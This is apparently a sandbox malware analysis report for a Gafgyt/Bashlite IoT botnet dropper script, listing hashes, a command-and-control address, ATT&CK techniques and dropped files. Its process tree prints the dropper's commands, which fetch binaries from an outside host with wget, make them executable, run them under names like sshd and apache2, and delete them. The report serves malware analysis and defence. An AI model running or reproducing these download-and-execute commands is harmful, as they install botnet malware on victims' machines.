gafgyt | 409f0f68302f6d7e81372c924901b89c01d6d64df78dad529e4b5edf2c15b4a1

Analysis

max time kernel
124s
max time network
129s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
26/02/2025, 16:54

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bins.sh
Size

1KB
MD5

3fe001266d6743a61f371e35d18a362a
SHA1

63e6fb3e130d0204b47845ea33234d2aebf318de
SHA256

409f0f68302f6d7e81372c924901b89c01d6d64df78dad529e4b5edf2c15b4a1
SHA512

1cb24458f4848eeb53f34e495e0ca349eefaf86082ca024b2f958ed55ad41c2abc4022aee3d4e1e9333cc67f75f274e9090838ba12fb84c42018f9a7ba9dda46

Score

10^/10

gafgyt botnet defense_evasion discovery

Malware Config

Extracted

Family

gafgyt

185.224.0.18:23

Signatures

Detected Gafgyt variant 11 IoCs

resource	yara_rule
behavioral1/files/fstream-1.dat	family_gafgyt
behavioral1/files/fstream-2.dat	family_gafgyt
behavioral1/files/fstream-3.dat	family_gafgyt
behavioral1/files/fstream-4.dat	family_gafgyt
behavioral1/files/fstream-5.dat	family_gafgyt
behavioral1/files/fstream-6.dat	family_gafgyt
behavioral1/files/fstream-7.dat	family_gafgyt
behavioral1/files/fstream-8.dat	family_gafgyt
behavioral1/files/fstream-9.dat	family_gafgyt
behavioral1/files/fstream-10.dat	family_gafgyt
behavioral1/files/fstream-11.dat	family_gafgyt

Gafgyt family
gafgyt
Gafgyt/Bashlite
IoT botnet with numerous variants first seen in 2014.
botnet gafgyt

File and Directory Permissions Modification 1 TTPs 13 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1525	chmod
1549	chmod
1555	chmod
1566	chmod
1576	chmod
1581	chmod
1586	chmod
1530	chmod
1535	chmod
1540	chmod
1544	chmod
1560	chmod
1571	chmod

Executes dropped EXE 11 IoCs

ioc	pid	Process
/tmp/ntpd	1526	bins.sh
/tmp/sshd	1531	bins.sh
/tmp/openssh	1536	bins.sh
/tmp/tftp	1545	bins.sh
/tmp/wget	1550	bins.sh
/tmp/cron	1556	bins.sh
/tmp/ftp	1561	bins.sh
/tmp/pftp	1567	bins.sh
/tmp/sh	1572	bins.sh
/tmp/[cpu]	1577	bins.sh
/tmp/apache2	1582	bins.sh

Reads system routing table 1 TTPs 1 IoCs

Gets active network interfaces from /proc virtual filesystem.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/route	bins.sh

Changes its process name 2 IoCs

description	pid	Process
Changes the process name, possibly in an attempt to hide itself	1550	bins.sh
Changes the process name, possibly in an attempt to hide itself	1561	bins.sh

Reads system network configuration 1 TTPs 1 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/route	bins.sh

Writes file to tmp directory 11 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/pftp	wget
File opened for modification	/tmp/apache2	wget
File opened for modification	/tmp/ntpd	wget
File opened for modification	/tmp/openssh	wget
File opened for modification	/tmp/ftp	wget
File opened for modification	/tmp/sh	wget
File opened for modification	/tmp/[cpu]	wget
File opened for modification	/tmp/sshd	wget
File opened for modification	/tmp/tftp	wget
File opened for modification	/tmp/wget	wget
File opened for modification	/tmp/cron	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
- Reads system routing table
- Changes its process name
- Reads system network configuration
PID:1519
- /usr/bin/wget
  wget http://185.224.0.18/ntpd
  2⤵
  - Writes file to tmp directory
  PID:1520
- /bin/chmod
  chmod +x ntpd
  2⤵
  - File and Directory Permissions Modification
  PID:1525
- /tmp/ntpd
  ./ntpd
  2⤵
  PID:1526
- /bin/rm
  rm -rf ntpd
  2⤵
  PID:1528
- /usr/bin/wget
  wget http://185.224.0.18/sshd
  2⤵
  - Writes file to tmp directory
  PID:1529
- /bin/chmod
  chmod +x sshd
  2⤵
  - File and Directory Permissions Modification
  PID:1530
- /tmp/sshd
  ./sshd
  2⤵
  PID:1531
- /bin/rm
  rm -rf sshd
  2⤵
  PID:1533
- /usr/bin/wget
  wget http://185.224.0.18/openssh
  2⤵
  - Writes file to tmp directory
  PID:1534
- /bin/chmod
  chmod +x openssh
  2⤵
  - File and Directory Permissions Modification
  PID:1535
- /tmp/openssh
  ./openssh
  2⤵
  PID:1536
- /bin/rm
  rm -rf openssh
  2⤵
  PID:1538
- /usr/bin/wget
  wget http://185.224.0.18/bash
  2⤵
  PID:1539
- /bin/chmod
  chmod +x bash
  2⤵
  - File and Directory Permissions Modification
  PID:1540
- /tmp/bash
  ./bash
  2⤵
  PID:1541
- /bin/rm
  rm -rf bash
  2⤵
  PID:1542
- /usr/bin/wget
  wget http://185.224.0.18/tftp
  2⤵
  - Writes file to tmp directory
  PID:1543
- /bin/chmod
  chmod +x tftp
  2⤵
  - File and Directory Permissions Modification
  PID:1544
- /tmp/tftp
  ./tftp
  2⤵
  PID:1545
- /bin/rm
  rm -rf tftp
  2⤵
  PID:1547
- /usr/bin/wget
  wget http://185.224.0.18/wget
  2⤵
  - Writes file to tmp directory
  PID:1548
- /bin/chmod
  chmod +x wget
  2⤵
  - File and Directory Permissions Modification
  PID:1549
- /bin/rm
  rm -rf wget
  2⤵
  PID:1553
- /usr/bin/wget
  wget http://185.224.0.18/cron
  2⤵
  - Writes file to tmp directory
  PID:1554
- /bin/chmod
  chmod +x cron
  2⤵
  - File and Directory Permissions Modification
  PID:1555
- /tmp/cron
  ./cron
  2⤵
  PID:1556
- /bin/rm
  rm -rf cron
  2⤵
  PID:1558
- /usr/bin/wget
  wget http://185.224.0.18/ftp
  2⤵
  - Writes file to tmp directory
  PID:1559
- /bin/chmod
  chmod +x ftp
  2⤵
  - File and Directory Permissions Modification
  PID:1560
- /bin/rm
  rm -rf ftp
  2⤵
  PID:1564
- /usr/bin/wget
  wget http://185.224.0.18/pftp
  2⤵
  - Writes file to tmp directory
  PID:1565
- /bin/chmod
  chmod +x pftp
  2⤵
  - File and Directory Permissions Modification
  PID:1566
- /tmp/pftp
  ./pftp
  2⤵
  PID:1567
- /bin/rm
  rm -rf pftp
  2⤵
  PID:1569
- /usr/bin/wget
  wget http://185.224.0.18/sh
  2⤵
  - Writes file to tmp directory
  PID:1570
- /bin/chmod
  chmod +x sh
  2⤵
  - File and Directory Permissions Modification
  PID:1571
- /tmp/sh
  ./sh
  2⤵
  PID:1572
- /bin/rm
  rm -rf sh
  2⤵
  PID:1574
- /usr/bin/wget
  wget "http://185.224.0.18/[cpu]"
  2⤵
  - Writes file to tmp directory
  PID:1575
- /bin/chmod
  chmod +x "[cpu]"
  2⤵
  - File and Directory Permissions Modification
  PID:1576
- /tmp/[cpu]
  "./[cpu]"
  2⤵
  PID:1577
- /bin/rm
  rm -rf "[cpu]"
  2⤵
  PID:1579
- /usr/bin/wget
  wget http://185.224.0.18/apache2
  2⤵
  - Writes file to tmp directory
  PID:1580
- /bin/chmod
  chmod +x apache2
  2⤵
  - File and Directory Permissions Modification
  PID:1581
- /tmp/apache2
  ./apache2
  2⤵
  PID:1582
- /bin/rm
  rm -rf apache2
  2⤵
  PID:1584
- /usr/bin/wget
  wget http://185.224.0.18/telnetd
  2⤵
  PID:1585
- /bin/chmod
  chmod +x telnetd
  2⤵
  - File and Directory Permissions Modification
  PID:1586
- /tmp/telnetd
  ./telnetd
  2⤵
  PID:1587
- /bin/rm
  rm -rf telnetd
  2⤵
  PID:1588

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/[cpu]

Filesize
139KB

MD5
ad3b88f90f89cd8c724d159f7f95a0b5

SHA1
2bc8029b17b387cc85c5a0b26e261235b0ea7c7e

SHA256
293b468b4a255880846ddc28e5900c2ca6f3dc60abfb9952c6267fe1eeaeed84

SHA512
3819a3c424474101b368bebcaca69a5003652f6921bbedb69192422e6ad9ba3ee7ffc6db96f35cff52eaff36974bab0fa19ff12c527c9ffcc91db5fc29d936bd

Download Submit
/tmp/apache2

Filesize
132KB

MD5
d68f347c491696a4a404ec56ce918b99

SHA1
036421b825a71f1d27502e9ee2c66e1a9d56fdbc

SHA256
59f0a1d17b840ea70363ba76f602ba2bd8aeff804060585814753afe5b1ead1b

SHA512
decab46b0f4c4f4577399576c64eb6a35362360b9cf9d545ed4bb7f75b7e63499a24862d16b6112101f80f5731dfd316c2091b3924eb3d370b8f21c6c88aa8a6

Download Submit
/tmp/cron

Filesize
126KB

MD5
1019ae676f2b186d80b4a64e4d7ce979

SHA1
74052602698124537501c89ffb1cf20f96f16351

SHA256
de2e2ca7485edbcb2ab5ad35a2d4911d2bcd9b71365f54a5c0d7c37ab584b55b

SHA512
4ee1c8456117e308cc8b3baacf28c2e42dd878c16c568973219b06fb48ff540b2cbda3ebfaa16a5c64ff8e6ca9159cc224288bf4854095e26d34c5319320d3bd

Download Submit
/tmp/ftp

Filesize
113KB

MD5
ba20264e5784f53f593fa0895f77c0b2

SHA1
8e9f5d9a92a918f3cd5da0a19d866918edbdcd97

SHA256
da6a2d0e481b64336f781b8f9f5b83816b1d1d3fef19907e8c85014c6bf87eb2

SHA512
b5eda9e190524f64c58ab1c9326e036920604c22558421ab5d5b59ddd91b703c3901924a12ce704859cd850c4aa2c8d2c62d6a0126f086747b14df2d4996904b

Download Submit
/tmp/ntpd

Filesize
161KB

MD5
109318b8402297c86da949e68b59d245

SHA1
eb89f87d56e1af243d352065c3678d2b8854e6c0

SHA256
401b52db675d8763850c287d7483a4c35d94ac4571a27475318893a2c727797a

SHA512
58fc185b0d7c52eea48ec4d38d6f6889b5945d7947743241f6b4cf701a8a6bf9b8aef75a51bda7412fcc40bc04e8c29758a96865a5cde10fd321618f68f21792

Download Submit
/tmp/openssh

Filesize
120KB

MD5
bdbfff5bdf44a00110d4a749d56cbacd

SHA1
7a8a78030b15dfdbef6b1413813f0ac49168b076

SHA256
4cff7e838e506a4b0d3c8c90032d9117a5ee16f400eab5bfeae2e7dd2c8a74b5

SHA512
bbc3e2a644ae927bb4d9b3016cf4dff8b3444f3e87a44687420aa32e29cd102778d5882599d3583d53c213ad8f3d045988a22f11c76ea0083999104e51d49763

Download Submit
/tmp/pftp

Filesize
131KB

MD5
89d38a917792864e1658397e216d7919

SHA1
761d242b6b15c3baf83dc60b0ea574251c86a6a8

SHA256
6097eeb660e58ca8d3dfedc76f3a6def567538d1427233f8b44b19d1e42bb5c3

SHA512
734cd606af808bb7965429f597f8beb3304dc28a275c96da0268db96adf2df8109e9feb60911724813589eacf8f83930970e79536a581bf0fc96e8597dcfbfda

Download Submit
/tmp/sh

Filesize
142KB

MD5
1a29d5764ebdedbf96b4171d8b53c875

SHA1
25db69f73d154ccab06109eeb9e1a6876201a08f

SHA256
b1fea583e42919e9b71fc9a6ca8b7d20aef45a63e2a9b8ddea36bb1ed884ef09

SHA512
84041c3db086133c1d3dce3fea02eda526d5629681709dc74ff2777e560d2e62343877d07a341d3bb656859f717c9baae6f79203c68e995c06e9db64b98cdc81

Download Submit
/tmp/sshd

Filesize
161KB

MD5
c508e7ace15264e5ff4f463432c3a32e

SHA1
32e29ac335a2eff62ce938e43ad993324dd3ded8

SHA256
f255756df50c2a912392e95adf2f42adfb546880aea8d6bf15162d1e2a7f2dd9

SHA512
71b4a88fe38ecb7cab6463d9b36fa2e783d342f53f3362fa48cb4fd3f827daa0dc96afeed5b4abbe46473b821b785b3de9963f9b04fc7ec26badde2f3df67afd

Download Submit
/tmp/tftp

Filesize
154KB

MD5
fb60037e32b5ef7ea135dff35b6114ea

SHA1
f95f587f124d66b985611ed9d571d8622a481676

SHA256
3a4fc36dee8b7024bedec2c2345a7ac8a7d54b65fa000eed778c70d7443d8402

SHA512
65a3c8ee7e26d734169e850b4c11f724f2b6d23b96458200b8e8994760054114562aacae2f78d70900e6516fd80dff2787284a64bf2778130c54cb64ac002c8b

Download Submit
/tmp/wget

Filesize
116KB

MD5
7f3328ac731e1f5914ddf381df585f6d

SHA1
e60b12d8c77e90bcd3ce00e3d392c7d82ea0fe4b

SHA256
874619d177f349b3987c881b016feaa08fec5a16df7cb2ab473d88ea493a4c56

SHA512
6d1f5c755460da3740ee81362d617e7a52f1908253e6959e1a3d127cd831e88895b01bf47bfb57c7357c8bb5d0f743e700ca7db27e601b7b08adf5f09edd4418

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads